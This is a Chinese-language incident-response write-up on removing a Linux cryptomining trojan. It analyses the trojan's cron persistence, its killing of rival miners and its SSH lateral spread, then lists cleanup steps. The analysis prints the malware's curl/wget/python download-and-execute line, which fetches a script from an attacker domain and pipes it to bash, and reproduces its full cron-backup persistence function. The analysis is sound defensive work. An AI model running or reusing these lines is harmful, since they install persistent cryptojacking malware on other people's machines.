热门标签 | HotTags
当前位置:  开发笔记 > 运维 > 正文

记一次与挖矿木马的较量—linux下的挖矿

记一次与挖矿木马的较量聚铭网络  2022-02-2210:51:18 78105 1一、概述本文主要是记录了一次针对挖矿程序的应急响应处理,从三个部分来解读此次事件:1、事件

记一次与挖矿木马的较量

聚铭网络  2022-02-22 10:51:18 78105 1


一、概述

本文主要是记录了一次针对挖矿程序的应急响应处理,从三个部分来解读此次事件:


1、事件描述部分,确认是否有挖矿程序。

2、现场分析部分,讲了是如何一步一步杀掉挖矿程序。

3、程序分析部分,针对挖矿脚本的详细解读。杀死竞争挖矿程序、进程守护、传播挖矿。



二、疑惑的用户

前几天接到客户反映,他们有一台服务器资产存在异常现象,原本配置的crontab定时任务全被修改,用户重新对crontab进行配置,无法起到效果,瞬间就会被自动清空掉。定时任务的异常行为导致原本很多的正常业务无法正常运行,同时还发现存在可疑进程,希望能协助进行问题分析,并尽快进行处置。


三、受打击的研究员

研究人员首先分析crontab的问题,使用crontab -l查看定时任务,发现只存在一个可疑的任务进程,如下图所示。

image.png

图1 定时命令1

从命令看起来是为了获取http://a.oracleservice.top地址的一

image.png

图2 聚铭情报云查结构

与客户确认该定时任务是可疑的之后,又用top查看了系统资源,发现了一个程序名称为“dbused”的可疑进程,长时间的cpu资源占用达到了100以上。

利用可疑的进程PID,从/proc/[PID]目录下的’exe’文件定位到源文件来自于/tmp目录下的dbused。

将可疑文件扔到VT进行检测,发现极可能与“CoinMiner”挖矿木马相关。

image.png

图3 VT检测结果

看来这次攻击八九不离十就是挖矿木马相关的攻击了,定时程序应该就是用来下载挖矿程序的,只要先把定时程序删除,再删除恶意程序就行了,于是一一删除之,应该就可以交代了。

想法很美好,现实却很残忍。几秒后,发现恶意进程和定时任务全部恢复了,一朝回到解放前,看来是把问题想得太简单了。


四、研究员的反击

研究员开始痛定思痛,其实在第一次分析的时候还忽略了几个关键的线索:



  • 用户反映crontab会被自动刷新(说明存在维持进程)



  • 未查看系统可疑进程



  • 未分析下载的内容



于是乎,ps -ef查看系统进程,发现存在五个以上的恶意下载进程,和之前发现的定时任务一模一样,确实存在多个维持进程。

curl -fsSL http://a.oracleservice.top/xms||wget -q -O- http://a.oracleservice.top/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://a.oracleservice.top/xms").read()')| bash -sh; lwp-download http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

image.png

图4 查看进程

突破口都指向下载的可疑文件,下载进行分析,分析发现是一个结合资源准备、同类竞争、进程维持、横向扩散、痕迹清除的脚本。

image.png

图5 下载可疑文件


Step1:最大化这个进程的使用资源

image.png

图6 准备工作

1.脚本先将系统的selinux防火墙设置为关闭。

2.脚本将用户最大可用的进程数调整到5万,便于最大化占用主机资源。

3.修改内存参数,目的也是最大化占用主机资源。


Step2:删除竞争进程

image.png

图7 杀死竞争进程

这里目的是为了关闭一些进程,这里的关闭进程的行为,目的是为了杀掉其他的一些挖矿进程,只允许自己的程序挖矿。

查看列出杀死的连接IP情报,基本都是与挖矿或木马相关。

image.png

图8 竞争进程的连接IP1

image.png

图9 竞争进程的连接IP2

image.png

图10 竞争进程的连接IP3


Step3:删除文件的特殊属性使得文件可以被修改操作

image.png

图11 chattr修改文件属性

chattr命令mod解释

i:即Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。

a:即Append Only,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。

最后将定时任务,进行了类似锁定操作。


Step4:确保连通性

先解除/tmp/dbused目录下面的锁定。

确定本机ip地址的范围(16位掩码)。

确保主机能与恶意负载域名pool.supportxmr.com、a.oracleservice.top连通。

image.png

图12 确保连通性


Step5:创建定时任务

image.png

图13 创建定时任务

一共创建了5个cron维持进程。



  • /etc/cron.d/root



  • /etc/cron.d/apache



  • /etc/cron.d/nginx



  • /var/spool/cron/crontabs



  • /etc/cron.hourly/oanacroner1



image.png

图14 /etc/cron.d下的定时任务

image.png

图15 防止文件被修改


Step6:维持进程1

即确保dbused这个文件能正常运行。写了几个备用的函数,judge函数就是,如果dbused文件正常运行了,那么就会存在三个连接,如果没有正常运行,那么就重新运行一下dbused文件。

image.png

图16 judge函数

image.png

图17  judge函数2


Step7:维持进程2

cronbackup()函数为了确保定时任务的正常运行,一旦其中一个定时任务被删除,就会执行另一个定时任务。








cronbackup() {

pay="(curl -fsSL $url/xms||wget -q -O-   $url/xms||python -c 'import urllib2 as fbi;print   fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms   $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"

status=0

crOna=$(systemctl is-active cron)

crOnb=$(systemctl is-active crond)

crOnatd=$(systemctl is-active atd)

if [ "$crona" ==   "active" ] ; then

echo "cron okay"

elif [ "$cronb" ==   "active" ]; then

echo "cron okay"

elif [ "$cronatd" ==   "active" ] ; then

status=1

else

status=2

fi

if [ $status -eq 1 ] ; then

for a in $(at -l|awk '{print $1}'); do at -r   $a; done

echo "$pay" | at -m now + 1 minute

fi

if [ $status -eq 2 ] || [ "$me" !=   "root" ] ;then

arr[0]="/dev/shm"

arr[1]="/tmp"

arr[2]="/var/tmp"

arr[3]="/home/$(whoami)"

arr[4]="/run/user/$(echo $UID)"

arr[5]="/run/user/$(echo   $UID)/systemd"

rand=$[$RANDOM % ${#arr[@]}]

echo "Setting up custom backup"

ps auxf|grep -v grep|grep "cruner"   | awk '{print $2}'|xargs kill -9

key="while true; do sleep 60 &&   $pay; done"

echo -e "$key\n##" >   ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner

nohup ${arr[$rand]}/cruner >/dev/null   2>&1 &

sleep 15

rm -rf ${arr[$rand]}/cruner

fi

}



Step8:横向传播

从系统文件中获取ssh连接过的IP地址和连接的密钥,再通过遍历尝试ssh连接到别的主机并执行恶意命令。也就是说主机登录过其他主机的话,那么其他主机也会被注入,细思极恐。

ssh连接用到的几个配置



  • -oStrictHostKeyChecking=no (关闭SSH公钥检查,这是ssh一个重要的安全机制,可以防范中间人劫持等黑客攻击。)



  • -oBatchMode=yes(当 key 认证不成功时,不弹出告警防止自动化中断)



  • -oCOnnectTimeout=5(超时限制)



  • -i(使用密钥文件登录)



image.png

图18 横向传播

image.png

图19 被获取的部分密钥文件

image.png

图20 可能被感染的其它主机


Step9:痕迹清除

对执行过程中遗留的文件进行清除,减小被发现的风险。

image.png

图21 清除痕迹

了解清楚这个恶意脚本后,便开始对该恶意程序进行处置:

1.  先‘service crond status’关闭cron服务。

2.  对所有cron定时文件进行清除。

3.  杀死所有恶意进程。

4.  删除所有下载的相关恶意文件。

5.  启动selinux。

6.  修改本机和可能被感染主机的ssh密码。

7.  对可能感染的主机进行检查。

采取了以上的操作之后,挖矿程序终于不再“复活”了,crontab也恢复正常使用。


参考文章:

《linux文件特殊属性 lsattr,chattr详解》https://blog.csdn.net/sugarCYF/article/details/108034987

《SSH交互式脚本StrictHostKeyChecking选项》https://chuxing.blog.csdn.net/article/details/82425279




推荐阅读
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
  • 本文详细分析了Hive在启动过程中遇到的权限拒绝错误,并提供了多种解决方案,包括调整文件权限、用户组设置以及环境变量配置等。 ... [详细]
  • Hadoop入门与核心组件详解
    本文详细介绍了Hadoop的基础知识及其核心组件,包括HDFS、MapReduce和YARN。通过本文,读者可以全面了解Hadoop的生态系统及应用场景。 ... [详细]
  • 本文详细介绍了VMware的多种认证选项,帮助你根据职业需求和个人技能选择最合适的认证路径,涵盖从基础到高级的不同层次认证。 ... [详细]
  • 本文由瀚高PG实验室撰写,详细介绍了如何在PostgreSQL中创建、管理和删除模式。文章涵盖了创建模式的基本命令、public模式的特性、权限设置以及通过角色对象简化操作的方法。 ... [详细]
  • 本文详细介绍了如何在Ubuntu系统中下载适用于Intel处理器的64位版本,涵盖了不同Linux发行版对64位架构的不同命名方式,并提供了具体的下载链接和步骤。 ... [详细]
  • 本文介绍如何通过更改软件源来提前体验Ubuntu 8.10,包括详细的配置步骤和相关注意事项。 ... [详细]
  • 本文详细记录了在银河麒麟操作系统和龙芯架构上使用 Qt 5.15.2 进行项目打包时遇到的问题及解决方案,特别关注于 linuxdeployqt 工具的应用。 ... [详细]
  • Linux设备驱动程序:异步时间操作与调度机制
    本文介绍了Linux内核中的几种异步延迟操作方法,包括内核定时器、tasklet机制和工作队列。这些机制允许在未来的某个时间点执行任务,而无需阻塞当前线程,从而提高系统的响应性和效率。 ... [详细]
  • 本文介绍如何在Linux服务器之间使用SCP命令进行文件传输。SCP(Secure Copy Protocol)是一种基于SSH的安全文件传输协议,支持从远程机器复制文件到本地服务器或反之。示例包括从192.168.45.147复制tomcat目录到本地/home路径。 ... [详细]
  • Composer Registry Manager:PHP的源切换管理工具
    本文介绍了一个用于Composer的源切换管理工具——Composer Registry Manager。该项目旨在简化Composer包源的管理和切换,避免与常见的CRM系统混淆,并提供了详细的安装和使用指南。 ... [详细]
  • PHP中去除换行符的多种方法及应用场景
    本文将详细介绍在PHP中去除换行符的各种方法,并结合实际应用场景进行说明。通过本文,您将了解如何根据不同操作系统的特点,选择最合适的换行符处理方式。 ... [详细]
  • 基于KVM的SRIOV直通配置及性能测试
    SRIOV介绍、VF直通配置,以及包转发率性能测试小慢哥的原创文章,欢迎转载目录?1.SRIOV介绍?2.环境说明?3.开启SRIOV?4.生成VF?5.VF ... [详细]
  • 深入探讨CPU虚拟化与KVM内存管理
    本文详细介绍了现代服务器架构中的CPU虚拟化技术,包括SMP、NUMA和MPP三种多处理器结构,并深入探讨了KVM的内存虚拟化机制。通过对比不同架构的特点和应用场景,帮助读者理解如何选择最适合的架构以优化性能。 ... [详细]
  • 本文探讨了如何在 PHP 的 Eloquent ORM 中实现数据表之间的关联查询,并通过具体示例详细解释了如何将关联数据嵌入到查询结果中。这不仅提高了数据查询的效率,还简化了代码逻辑。 ... [详细]
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有